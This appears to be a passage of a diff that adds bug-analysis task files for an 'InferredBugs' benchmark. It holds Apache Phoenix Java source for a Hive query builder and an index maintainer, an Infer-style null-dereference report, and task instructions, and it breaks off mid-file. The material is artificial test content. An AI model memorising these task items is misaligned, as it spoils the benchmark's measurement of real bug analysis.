+                    PhoenixStorageHandlerConstants.DATE_FUNCTION_TEMPLETE :
+                    PhoenixStorageHandlerConstants.TIMESTAMP_FUNCTION_TEMPLATE, datePart));
+            whereClause = whereClause.replaceAll(StringUtils.replaceEach(token, new String[]{"(",
+                    ")"}, new String[]{"\\(", "\\)"}), convertString);
+        }
+
+        return whereClause;
+    }
+
+    private String applyFunctionForBetweenOperator(String whereClause, String columnName, boolean
+            isDate) {
+        String targetPattern = isDate ? PhoenixStorageHandlerConstants.DATE_PATTERN :
+                PhoenixStorageHandlerConstants.TIMESTAMP_PATTERN;
+        String pattern = StringUtils.replaceEach(PhoenixStorageHandlerConstants
+                        .BETWEEN_OPERATOR_PATTERN,
+                new String[]{PhoenixStorageHandlerConstants.COLUMNE_MARKER,
+                        PhoenixStorageHandlerConstants.PATERN_MARKER}, new String[]{columnName,
+                        targetPattern});
+
+        Matcher matcher = Pattern.compile(pattern).matcher(whereClause);
+
+        while (matcher.find()) {
+            String token = matcher.group(1);
+            boolean isNot = matcher.group(2) == null ? false : true;
+            String fromDate = matcher.group(3);
+            String toDate = matcher.group(4);
+
+            String convertString = StringUtils.replaceEach(token, new String[]{fromDate, toDate},
+                    new String[]{applyFunction(isDate ? PhoenixStorageHandlerConstants
+                            .DATE_FUNCTION_TEMPLETE : PhoenixStorageHandlerConstants
+                            .TIMESTAMP_FUNCTION_TEMPLATE, fromDate),
+                            applyFunction(isDate ? PhoenixStorageHandlerConstants
+                                    .DATE_FUNCTION_TEMPLETE : PhoenixStorageHandlerConstants
+                                    .TIMESTAMP_FUNCTION_TEMPLATE, toDate)});
+
+            whereClause = whereClause.replaceAll(pattern, convertString);
+        }
+
+        return whereClause;
+    }
+
+    private String applyFunctionForInOperator(String whereClause, String columnName, boolean
+            isDate) {
+        String targetPattern = isDate ? PhoenixStorageHandlerConstants.DATE_PATTERN :
+                PhoenixStorageHandlerConstants.TIMESTAMP_PATTERN;
+        String pattern = StringUtils.replaceEach(PhoenixStorageHandlerConstants.IN_OPERATOR_PATTERN,
+                new String[]{PhoenixStorageHandlerConstants.COLUMNE_MARKER,
+                        PhoenixStorageHandlerConstants.PATERN_MARKER}, new String[]{columnName,
+                        targetPattern});
+        String itemPattern = "(" + targetPattern + ")";
+
+        Matcher matcher = Pattern.compile(pattern).matcher(whereClause);
+
+        while (matcher.find()) {
+            String token = matcher.group(1);
+            Matcher itemMatcher = Pattern.compile(itemPattern).matcher(token);
+            while (itemMatcher.find()) {
+                String item = itemMatcher.group(1);
+
+                token = token.replace(item, applyFunction(isDate ? PhoenixStorageHandlerConstants
+                        .DATE_FUNCTION_TEMPLETE : PhoenixStorageHandlerConstants
+                        .TIMESTAMP_FUNCTION_TEMPLATE, item));
+            }
+
+            whereClause = whereClause.replaceAll(pattern, token);
+        }
+
+        return whereClause;
+    }
+
+    /**
+     * replace value to specific part of pattern.
+     * if pattern is to_date($value$) and value is '2016-01-15'. then return to_date('2016-01-15').
+     * if pattern is cast($value$ as date) and value is '2016-01-15'. then return cast
+     * ('2016-01-15' as date).
+     */
+    private String applyFunction(String pattern, String value) {
+        if (!value.startsWith(PhoenixStorageHandlerConstants.QUOTATION_MARK)) {
+            value = PhoenixStorageHandlerConstants.QUOTATION_MARK + value +
+                    PhoenixStorageHandlerConstants.QUOTATION_MARK;
+        }
+
+        return pattern.replace(PhoenixStorageHandlerConstants.FUNCTION_VALUE_MARKER, value);
+    }
+
+    private String getCompareValueForDateAndTimestampFunction(String compareValue) {
+        if (compareValue.startsWith(PhoenixStorageHandlerConstants.QUOTATION_MARK)) {
+            return compareValue;
+        } else {
+            return PhoenixStorageHandlerConstants.QUOTATION_MARK + compareValue +
+                    PhoenixStorageHandlerConstants.QUOTATION_MARK;
+        }
+    }
+
+    private String applyDateFunction(String whereClause, String columnName) {
+        StringBuilder whereCondition = new StringBuilder();
+        for (Iterator<String> iterator = Splitter.on(CharMatcher.WHITESPACE).omitEmptyStrings()
+                .split(whereClause).iterator(); iterator.hasNext(); whereCondition.append
+                (PhoenixStorageHandlerConstants.SPACE)) {
+            String token = iterator.next();
+            if (isMyCondition(columnName, token)) {
+                whereCondition.append(token);
+
+                String comparator = iterator.next();
+                whereCondition.append(PhoenixStorageHandlerConstants.SPACE);
+                whereCondition.append(comparator).append(PhoenixStorageHandlerConstants.SPACE);
+                if (PhoenixStorageHandlerConstants.BETWEEN_COMPARATOR.equalsIgnoreCase
+                        (comparator)) {
+                    whereCondition.append("to_date(").append
+                            (getCompareValueForDateAndTimestampFunction(iterator.next())).append
+                            (") ").append(iterator.next()).append(PhoenixStorageHandlerConstants
+                            .SPACE)
+                            .append("to_date(");
+
+                    String toCompareValue = iterator.next();
+                    if (toCompareValue.endsWith(PhoenixStorageHandlerConstants
+                            .RIGHT_ROUND_BRACKET)) {
+                        int rightBracketIndex = toCompareValue.indexOf
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (toCompareValue.substring(0, rightBracketIndex))).append
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET).append
+                                (toCompareValue.substring(rightBracketIndex));
+                    } else {
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (toCompareValue)).append(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET);
+                    }
+                } else if (PhoenixStorageHandlerConstants.IN_COMPARATOR.equalsIgnoreCase
+                        (comparator)) {
+                    while (iterator.hasNext()) {
+                        String aToken = iterator.next();
+                        if (aToken.equals(PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET) ||
+                                aToken.equals(PhoenixStorageHandlerConstants.COMMA)) {
+                            whereCondition.append(aToken);
+                        } else if (aToken.equals(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET)) {
+                            whereCondition.append(aToken);
+                            break;
+                        } else if (aToken.endsWith(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET)) {
+                            int bracketIndex = aToken.indexOf(PhoenixStorageHandlerConstants
+                                    .RIGHT_ROUND_BRACKET);
+                            whereCondition.append("to_date(").append
+                                    (getCompareValueForDateAndTimestampFunction(aToken.substring
+                                            (0, bracketIndex))).append
+                                    (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET).append
+                                    (aToken.substring(bracketIndex));
+                            break;
+                        } else if (aToken.endsWith(PhoenixStorageHandlerConstants.COMMA)) {
+                            if (aToken.startsWith(PhoenixStorageHandlerConstants
+                                    .LEFT_ROUND_BRACKET)) {
+                                int bracketIndex = aToken.lastIndexOf
+                                        (PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET);
+                                whereCondition.append(aToken.substring(0, bracketIndex + 1))
+                                        .append("to_date(").append
+                                        (getCompareValueForDateAndTimestampFunction(aToken
+                                                .substring(bracketIndex + 1, aToken.length() - 1)
+                                        )).append("),");
+                            } else {
+                                whereCondition.append("to_date(").append
+                                        (getCompareValueForDateAndTimestampFunction(aToken
+                                                .substring(0, aToken.length() - 1))).append("),");
+                            }
+                        }
+
+                        whereCondition.append(PhoenixStorageHandlerConstants.SPACE);
+                    }
+                } else if (PhoenixStorageHandlerConstants.COMMON_COMPARATOR.contains(comparator)) {
+                    String compareValue = getCompareValueForDateAndTimestampFunction(iterator
+                            .next());
+                    whereCondition.append("to_date(");
+                    if (compareValue.endsWith(PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET)) {
+                        int rightBracketIndex = compareValue.indexOf
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (compareValue.substring(0, rightBracketIndex))).append
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET).append
+                                (compareValue.substring(rightBracketIndex));
+                    } else {
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (compareValue)).append(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET);
+                    }
+                }
+            } else {
+                whereCondition.append(token);
+            }
+        }
+
+        return whereCondition.toString();
+    }
+
+    // Assume timestamp value is yyyy-MM-dd HH:mm:ss.SSS
+    private String applyTimestampFunction(String whereClause, String columnName) {
+        StringBuilder whereCondition = new StringBuilder();
+        for (Iterator<String> iterator = Splitter.on(CharMatcher.WHITESPACE).omitEmptyStrings()
+                .split(whereClause).iterator(); iterator.hasNext(); whereCondition.append
+                (PhoenixStorageHandlerConstants.SPACE)) {
+            String token = iterator.next();
+            if (isMyCondition(columnName, token)) {
+                whereCondition.append(token);
+
+                String comparator = iterator.next();
+                whereCondition.append(PhoenixStorageHandlerConstants.SPACE);
+                whereCondition.append(comparator).append(PhoenixStorageHandlerConstants.SPACE);
+                if (PhoenixStorageHandlerConstants.BETWEEN_COMPARATOR.equalsIgnoreCase
+                        (comparator)) {
+                    String fromCompareValue = iterator.next() + PhoenixStorageHandlerConstants
+                            .SPACE + iterator.next();
+                    whereCondition.append("to_timestamp(").append
+                            (getCompareValueForDateAndTimestampFunction(fromCompareValue)).append
+                            (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                    whereCondition.append(PhoenixStorageHandlerConstants.SPACE).append(iterator
+                            .next()).append(PhoenixStorageHandlerConstants.SPACE);
+                    whereCondition.append("to_timestamp(");
+
+                    String toCompareValue = iterator.next() + PhoenixStorageHandlerConstants
+                            .SPACE + iterator.next();
+                    if (toCompareValue.endsWith(PhoenixStorageHandlerConstants
+                            .RIGHT_ROUND_BRACKET)) {
+                        int rightBracketIndex = toCompareValue.indexOf
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (toCompareValue.substring(0, rightBracketIndex))).append
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET).append
+                                (toCompareValue.substring(rightBracketIndex));
+                    } else {
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (toCompareValue)).append(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET);
+                    }
+                } else if (PhoenixStorageHandlerConstants.IN_COMPARATOR.equalsIgnoreCase
+                        (comparator)) {
+                    while (iterator.hasNext()) {
+                        String aToken = iterator.next();
+                        if (aToken.equals(PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET) ||
+                                aToken.equals(PhoenixStorageHandlerConstants.COMMA)) {
+                            whereCondition.append(aToken);
+                        } else if (aToken.equals(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET)) {
+                            whereCondition.append(aToken);
+                            break;
+                        } else {
+                            String compareValue = aToken + PhoenixStorageHandlerConstants.SPACE +
+                                    iterator.next();
+
+                            if (compareValue.startsWith(PhoenixStorageHandlerConstants
+                                    .LEFT_ROUND_BRACKET)) {
+                                int leftBracketIndex = compareValue.lastIndexOf
+                                        (PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET);
+                                whereCondition.append(compareValue.substring(0, leftBracketIndex
+                                        + 1)).append("to_timestamp(");
+
+                                if (compareValue.endsWith(PhoenixStorageHandlerConstants
+                                        .RIGHT_ROUND_BRACKET)) {
+                                    int rightBracketIndex = compareValue.indexOf
+                                            (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                                    whereCondition.append
+                                            (getCompareValueForDateAndTimestampFunction
+                                                    (compareValue.substring(leftBracketIndex + 1,
+                                                            rightBracketIndex)))
+                                            .append(PhoenixStorageHandlerConstants
+                                                    .RIGHT_ROUND_BRACKET).append(compareValue
+                                            .substring(rightBracketIndex));
+                                } else if (compareValue.endsWith(PhoenixStorageHandlerConstants
+                                        .COMMA)) {
+                                    whereCondition.append
+                                            (getCompareValueForDateAndTimestampFunction
+                                                    (compareValue.substring(leftBracketIndex + 1,
+                                                            compareValue.length() - 1)))
+                                            .append(PhoenixStorageHandlerConstants
+                                                    .RIGHT_ROUND_BRACKET).append
+                                            (PhoenixStorageHandlerConstants.COMMA);
+                                } else {
+                                    whereCondition.append
+                                            (getCompareValueForDateAndTimestampFunction
+                                                    (compareValue.substring(leftBracketIndex + 1)
+                                                    )).append(PhoenixStorageHandlerConstants
+                                            .RIGHT_ROUND_BRACKET);
+                                }
+                            } else if (compareValue.endsWith(PhoenixStorageHandlerConstants
+                                    .RIGHT_ROUND_BRACKET)) {
+                                int rightBracketIndex = compareValue.indexOf
+                                        (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                                whereCondition.append("to_timestamp(").append
+                                        (getCompareValueForDateAndTimestampFunction(compareValue
+                                                .substring(0, rightBracketIndex)))
+                                        .append(PhoenixStorageHandlerConstants
+                                                .RIGHT_ROUND_BRACKET).append(compareValue
+                                        .substring(rightBracketIndex));
+                                break;
+                            } else if (compareValue.endsWith(PhoenixStorageHandlerConstants
+                                    .COMMA)) {
+                                whereCondition.append("to_timestamp(").append
+                                        (getCompareValueForDateAndTimestampFunction(compareValue
+                                                .substring(0, compareValue.length() - 1))).append
+                                        ("),");
+                            }
+                        }
+
+                        whereCondition.append(PhoenixStorageHandlerConstants.SPACE);
+                    }
+                } else if (PhoenixStorageHandlerConstants.COMMON_COMPARATOR.contains(comparator)) {
+                    String timestampValue = iterator.next() + PhoenixStorageHandlerConstants
+                            .SPACE + iterator.next();
+                    whereCondition.append("to_timestamp(");
+                    if (timestampValue.endsWith(PhoenixStorageHandlerConstants
+                            .RIGHT_ROUND_BRACKET)) {
+                        int rightBracketIndex = timestampValue.indexOf
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET);
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (timestampValue.substring(0, rightBracketIndex))).append
+                                (PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET).append
+                                (timestampValue.substring(rightBracketIndex));
+                    } else {
+                        whereCondition.append(getCompareValueForDateAndTimestampFunction
+                                (timestampValue)).append(PhoenixStorageHandlerConstants
+                                .RIGHT_ROUND_BRACKET);
+                    }
+                }
+            } else {
+                whereCondition.append(token);
+            }
+        }
+
+        return whereCondition.toString();
+    }
+
+    private boolean isMyCondition(String columnName, String token) {
+        boolean itsMine = false;
+
+        if (columnName.equals(token)) {
+            itsMine = true;
+        } else if (token.startsWith(PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET) && token
+                .substring(token.lastIndexOf(PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET) +
+                        1).equals(columnName)) {
+            itsMine = true;
+        } else if (token.startsWith(PhoenixStorageHandlerConstants.LEFT_ROUND_BRACKET) && token
+                .endsWith(PhoenixStorageHandlerConstants.RIGHT_ROUND_BRACKET)
+                && token.substring(token.lastIndexOf(PhoenixStorageHandlerConstants
+                .LEFT_ROUND_BRACKET) + 1, token.indexOf(PhoenixStorageHandlerConstants
+                .RIGHT_ROUND_BRACKET)).equals(columnName)) {
+            itsMine = true;
+        }
+
+        return itsMine;
+    }
+
+    protected List<String> buildWhereClause(JobConf jobConf, StringBuilder sql,
+                                            List<IndexSearchCondition> conditions)
+            throws IOException {
+        if (conditions == null || conditions.size() == 0) {
+            return Collections.emptyList();
+        }
+
+        List<String> columns = Lists.newArrayList();
+        sql.append(" where ");
+
+        Iterator<IndexSearchCondition> iter = conditions.iterator();
+        appendExpression(jobConf, sql, iter.next(), columns);
+        while (iter.hasNext()) {
+            sql.append(" and ");
+            appendExpression(jobConf, sql, iter.next(), columns);
+        }
+
+        return columns;
+    }
+
+    private void appendExpression(JobConf jobConf, StringBuilder sql, IndexSearchCondition condition,
+                                  List<String> columns) {
+        Expression expr = findExpression(condition);
+        if (expr != null) {
+            sql.append(expr.buildExpressionStringFrom(jobConf, condition));
+            String column = condition.getColumnDesc().getColumn();
+            String rColumn = findReplacement(jobConf, column);
+            if(rColumn != null) {
+                column = rColumn;
+            }
+
+            columns.add(column);
+        }
+    }
+
+    private Expression findExpression(final IndexSearchCondition condition) {
+        return Iterables.tryFind(Arrays.asList(Expression.values()), new Predicate<Expression>() {
+            @Override
+            public boolean apply(@Nullable Expression expr) {
+                return expr.isFor(condition);
+            }
+        }).orNull();
+    }
+
+    private static final Joiner JOINER_COMMA = Joiner.on(", ");
+    private static final Joiner JOINER_AND = Joiner.on(" and ");
+    private static final Joiner JOINER_SPACE = Joiner.on(" ");
+
+    private enum Expression {
+        EQUAL("UDFOPEqual", "="),
+        GREATER_THAN_OR_EQUAL_TO("UDFOPEqualOrGreaterThan", ">="),
+        GREATER_THAN("UDFOPGreaterThan", ">"),
+        LESS_THAN_OR_EQUAL_TO("UDFOPEqualOrLessThan", "<="),
+        LESS_THAN("UDFOPLessThan", "<"),
+        NOT_EQUAL("UDFOPNotEqual", "!="),
+        BETWEEN("GenericUDFBetween", "between", JOINER_AND, true) {
+            public boolean checkCondition(IndexSearchCondition condition) {
+                return condition.getConstantDescs() != null;
+            }
+        },
+        IN("GenericUDFIn", "in", JOINER_COMMA, true) {
+            public boolean checkCondition(IndexSearchCondition condition) {
+                return condition.getConstantDescs() != null;
+            }
+
+            public String createConstants(final String typeName, ExprNodeConstantDesc[] desc) {
+                return "(" + super.createConstants(typeName, desc) + ")";
+            }
+        },
+        IS_NULL("GenericUDFOPNull", "is null") {
+            public boolean checkCondition(IndexSearchCondition condition) {
+                return true;
+            }
+        },
+        IS_NOT_NULL("GenericUDFOPNotNull", "is not null") {
+            public boolean checkCondition(IndexSearchCondition condition) {
+                return true;
+            }
+        };
+
+        private final String hiveCompOp;
+        private final String sqlCompOp;
+        private final Joiner joiner;
+        private final boolean supportNotOperator;
+
+        Expression(String hiveCompOp, String sqlCompOp) {
+            this(hiveCompOp, sqlCompOp, null);
+        }
+
+        Expression(String hiveCompOp, String sqlCompOp, Joiner joiner) {
+            this(hiveCompOp, sqlCompOp, joiner, false);
+        }
+
+        Expression(String hiveCompOp, String sqlCompOp, Joiner joiner, boolean supportNotOp) {
+            this.hiveCompOp = hiveCompOp;
+            this.sqlCompOp = sqlCompOp;
+            this.joiner = joiner;
+            this.supportNotOperator = supportNotOp;
+        }
+
+        public boolean checkCondition(IndexSearchCondition condition) {
+            return condition.getConstantDesc().getValue() != null;
+        }
+
+        public boolean isFor(IndexSearchCondition condition) {
+            return condition.getComparisonOp().endsWith(hiveCompOp) && checkCondition(condition);
+        }
+
+        public String buildExpressionStringFrom(JobConf jobConf, IndexSearchCondition condition) {
+            final String type = condition.getColumnDesc().getTypeString();
+            String column = condition.getColumnDesc().getColumn();
+            String rColumn = findReplacement(jobConf, column);
+            if(rColumn != null) {
+                column = rColumn;
+            }
+            return JOINER_SPACE.join(
+                    "\"" + column + "\"",
+                    getSqlCompOpString(condition),
+                    joiner != null ? createConstants(type, condition.getConstantDescs()) :
+                            createConstant(type, condition.getConstantDesc()));
+        }
+
+        public String getSqlCompOpString(IndexSearchCondition condition) {
+            return supportNotOperator ?
+                    (condition.isNot() ? "not " : "") + sqlCompOp : sqlCompOp;
+        }
+
+        public String createConstant(String typeName, ExprNodeConstantDesc constantDesc) {
+            if (constantDesc == null) {
+                return StringUtil.EMPTY_STRING;
+            }
+
+            return createConstantString(typeName, String.valueOf(constantDesc.getValue()));
+        }
+
+        public String createConstants(final String typeName, ExprNodeConstantDesc[] constantDesc) {
+            if (constantDesc == null) {
+                return StringUtil.EMPTY_STRING;
+            }
+
+            return joiner.join(Iterables.transform(Arrays.asList(constantDesc),
+                    new Function<ExprNodeConstantDesc, String>() {
+                        @Nullable
+                        @Override
+                        public String apply(@Nullable ExprNodeConstantDesc desc) {
+                            return createConstantString(typeName, String.valueOf(desc.getValue()));
+                        }
+                    }
+            ));
+        }
+
+        private static class ConstantStringWrapper {
+            private List<String> types;
+            private String prefix;
+            private String postfix;
+
+            ConstantStringWrapper(String type, String prefix, String postfix) {
+                this(Lists.newArrayList(type), prefix, postfix);
+            }
+
+            ConstantStringWrapper(List<String> types, String prefix, String postfix) {
+                this.types = types;
+                this.prefix = prefix;
+                this.postfix = postfix;
+            }
+
+            public String apply(final String typeName, String value) {
+                return Iterables.any(types, new Predicate<String>() {
+
+                    @Override
+                    public boolean apply(@Nullable String type) {
+                        return typeName.startsWith(type);
+                    }
+                }) ? prefix + value + postfix : value;
+            }
+        }
+
+        private static final String SINGLE_QUOTATION = "'";
+        private static List<ConstantStringWrapper> WRAPPERS = Lists.newArrayList(
+                new ConstantStringWrapper(Lists.newArrayList(
+                        serdeConstants.STRING_TYPE_NAME, serdeConstants.CHAR_TYPE_NAME,
+                        serdeConstants.VARCHAR_TYPE_NAME, serdeConstants.DATE_TYPE_NAME,
+                        serdeConstants.TIMESTAMP_TYPE_NAME
+                ), SINGLE_QUOTATION, SINGLE_QUOTATION),
+                new ConstantStringWrapper(serdeConstants.DATE_TYPE_NAME, "to_date(", ")"),
+                new ConstantStringWrapper(serdeConstants.TIMESTAMP_TYPE_NAME, "to_timestamp(", ")")
+        );
+
+        private String createConstantString(String typeName, String value) {
+            for (ConstantStringWrapper wrapper : WRAPPERS) {
+                value = wrapper.apply(typeName, value);
+            }
+
+            return value;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `readColumnList` last assigned on line 97 could be null and is dereferenced by call to `quoteColumns(...)` at line 106.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String PhoenixQueryBuilder.makeQueryString(JobConf,String,List,String,String,String,Map)
+
+### Procedure Id:
+org.apache.phoenix.hive.query.PhoenixQueryBuilder.makeQueryString(org.apache.hadoop.mapred.JobConf,j.a5ba267044c794ca1e8d09e3df6464da
+
+### File:
+phoenix-hive/src/main/java/org/apache/phoenix/hive/query/PhoenixQueryBuilder.java
+
+### Key:
+PhoenixQueryBuilder.java|makeQueryString|NULL_DEREFERENCE
+
+### Node Key:
+97e445e688a47fa96a11a9a4fdde20d4
+
+### Hash:
+071ab1f3ec660351754dd4cc7a1b491f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6036/instruction.md b/inferredbugs-6036/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..21ebf1a8b6b43049994a24ef297376cf95bb07ca
--- /dev/null
+++ b/inferredbugs-6036/instruction.md
@@ -0,0 +1,1930 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.index;
+
+import static org.apache.phoenix.schema.PTable.QualifierEncodingScheme.NON_ENCODED_QUALIFIERS;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInput;
+import java.io.DataInputStream;
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+import org.apache.hadoop.hbase.Cell;
+import org.apache.hadoop.hbase.CellUtil;
+import org.apache.hadoop.hbase.HConstants;
+import org.apache.hadoop.hbase.KeyValue;
+import org.apache.hadoop.hbase.KeyValue.Type;
+import org.apache.hadoop.hbase.client.Delete;
+import org.apache.hadoop.hbase.client.Durability;
+import org.apache.hadoop.hbase.client.Put;
+import org.apache.hadoop.hbase.io.ImmutableBytesWritable;
+import org.apache.hadoop.hbase.util.ByteStringer;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.apache.hadoop.hbase.util.Pair;
+import org.apache.hadoop.io.Writable;
+import org.apache.hadoop.io.WritableUtils;
+import org.apache.phoenix.compile.ColumnResolver;
+import org.apache.phoenix.compile.FromCompiler;
+import org.apache.phoenix.compile.IndexExpressionCompiler;
+import org.apache.phoenix.compile.StatementContext;
+import org.apache.phoenix.coprocessor.generated.ServerCachingProtos;
+import org.apache.phoenix.coprocessor.generated.ServerCachingProtos.ColumnInfo;
+import org.apache.phoenix.expression.CoerceExpression;
+import org.apache.phoenix.expression.Expression;
+import org.apache.phoenix.expression.ExpressionType;
+import org.apache.phoenix.expression.KeyValueColumnExpression;
+import org.apache.phoenix.expression.LiteralExpression;
+import org.apache.phoenix.expression.SingleCellColumnExpression;
+import org.apache.phoenix.expression.SingleCellConstructorExpression;
+import org.apache.phoenix.expression.visitor.KeyValueExpressionVisitor;
+import org.apache.phoenix.hbase.index.ValueGetter;
+import org.apache.phoenix.hbase.index.covered.update.ColumnReference;
+import org.apache.phoenix.hbase.index.util.ImmutableBytesPtr;
+import org.apache.phoenix.hbase.index.util.KeyValueBuilder;
+import org.apache.phoenix.jdbc.PhoenixConnection;
+import org.apache.phoenix.jdbc.PhoenixStatement;
+import org.apache.phoenix.parse.FunctionParseNode;
+import org.apache.phoenix.parse.ParseNode;
+import org.apache.phoenix.parse.SQLParser;
+import org.apache.phoenix.parse.StatelessTraverseAllParseNodeVisitor;
+import org.apache.phoenix.parse.UDFParseNode;
+import org.apache.phoenix.query.QueryConstants;
+import org.apache.phoenix.schema.AmbiguousColumnException;
+import org.apache.phoenix.schema.ColumnFamilyNotFoundException;
+import org.apache.phoenix.schema.ColumnNotFoundException;
+import org.apache.phoenix.schema.PColumn;
+import org.apache.phoenix.schema.PColumnFamily;
+import org.apache.phoenix.schema.PDatum;
+import org.apache.phoenix.schema.PIndexState;
+import org.apache.phoenix.schema.PTable;
+import org.apache.phoenix.schema.PTable.ImmutableStorageScheme;
+import org.apache.phoenix.schema.PTable.IndexType;
+import org.apache.phoenix.schema.PTable.QualifierEncodingScheme;
+import org.apache.phoenix.schema.PTableType;
+import org.apache.phoenix.schema.RowKeySchema;
+import org.apache.phoenix.schema.SaltingUtil;
+import org.apache.phoenix.schema.SortOrder;
+import org.apache.phoenix.schema.TableRef;
+import org.apache.phoenix.schema.ValueSchema;
+import org.apache.phoenix.schema.ValueSchema.Field;
+import org.apache.phoenix.schema.tuple.BaseTuple;
+import org.apache.phoenix.schema.tuple.ValueGetterTuple;
+import org.apache.phoenix.schema.types.PDataType;
+import org.apache.phoenix.util.BitSet;
+import org.apache.phoenix.util.ByteUtil;
+import org.apache.phoenix.util.EncodedColumnsUtil;
+import org.apache.phoenix.util.ExpressionUtil;
+import org.apache.phoenix.util.IndexUtil;
+import org.apache.phoenix.util.MetaDataUtil;
+import org.apache.phoenix.util.SchemaUtil;
+import org.apache.phoenix.util.TrustedByteArrayOutputStream;
+import org.apache.tephra.TxConstants;
+
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+
+/**
+ * 
+ * Class that builds index row key from data row key and current state of
+ * row and caches any covered columns. Client-side serializes into byte array using 
+ * @link #serialize(PTable, ImmutableBytesWritable)}
+ * and transmits to server-side through either the 
+ * {@link org.apache.phoenix.index.PhoenixIndexCodec#INDEX_PROTO_MD}
+ * Mutation attribute or as a separate RPC call using 
+ * {@link org.apache.phoenix.cache.ServerCacheClient})
+ * 
+ * 
+ * @since 2.1.0
+ */
+public class IndexMaintainer implements Writable, Iterable<ColumnReference> {
+
+    private static final int EXPRESSION_NOT_PRESENT = -1;
+    private static final int ESTIMATED_EXPRESSION_SIZE = 8;
+    
+    public static IndexMaintainer create(PTable dataTable, PTable index, PhoenixConnection connection) {
+        if (dataTable.getType() == PTableType.INDEX || index.getType() != PTableType.INDEX || !dataTable.getIndexes().contains(index)) {
+            throw new IllegalArgumentException();
+        }
+        IndexMaintainer maintainer = new IndexMaintainer(dataTable, index, connection);
+        return maintainer;
+    }
+    
+    public static Iterator<PTable> nonDisabledIndexIterator(Iterator<PTable> indexes) {
+        return Iterators.filter(indexes, new Predicate<PTable>() {
+            @Override
+            public boolean apply(PTable index) {
+                return !PIndexState.DISABLE.equals(index.getIndexState());
+            }
+        });
+    }
+    
+    public static Iterator<PTable> enabledGlobalIndexIterator(Iterator<PTable> indexes) {
+        return Iterators.filter(indexes, new Predicate<PTable>() {
+            @Override
+            public boolean apply(PTable index) {
+                return !PIndexState.DISABLE.equals(index.getIndexState()) && !index.getIndexType().equals(IndexType.LOCAL);
+            }
+        });
+    }
+    
+    public static Iterator<PTable> enabledLocalIndexIterator(Iterator<PTable> indexes) {
+        return Iterators.filter(indexes, new Predicate<PTable>() {
+            @Override
+            public boolean apply(PTable index) {
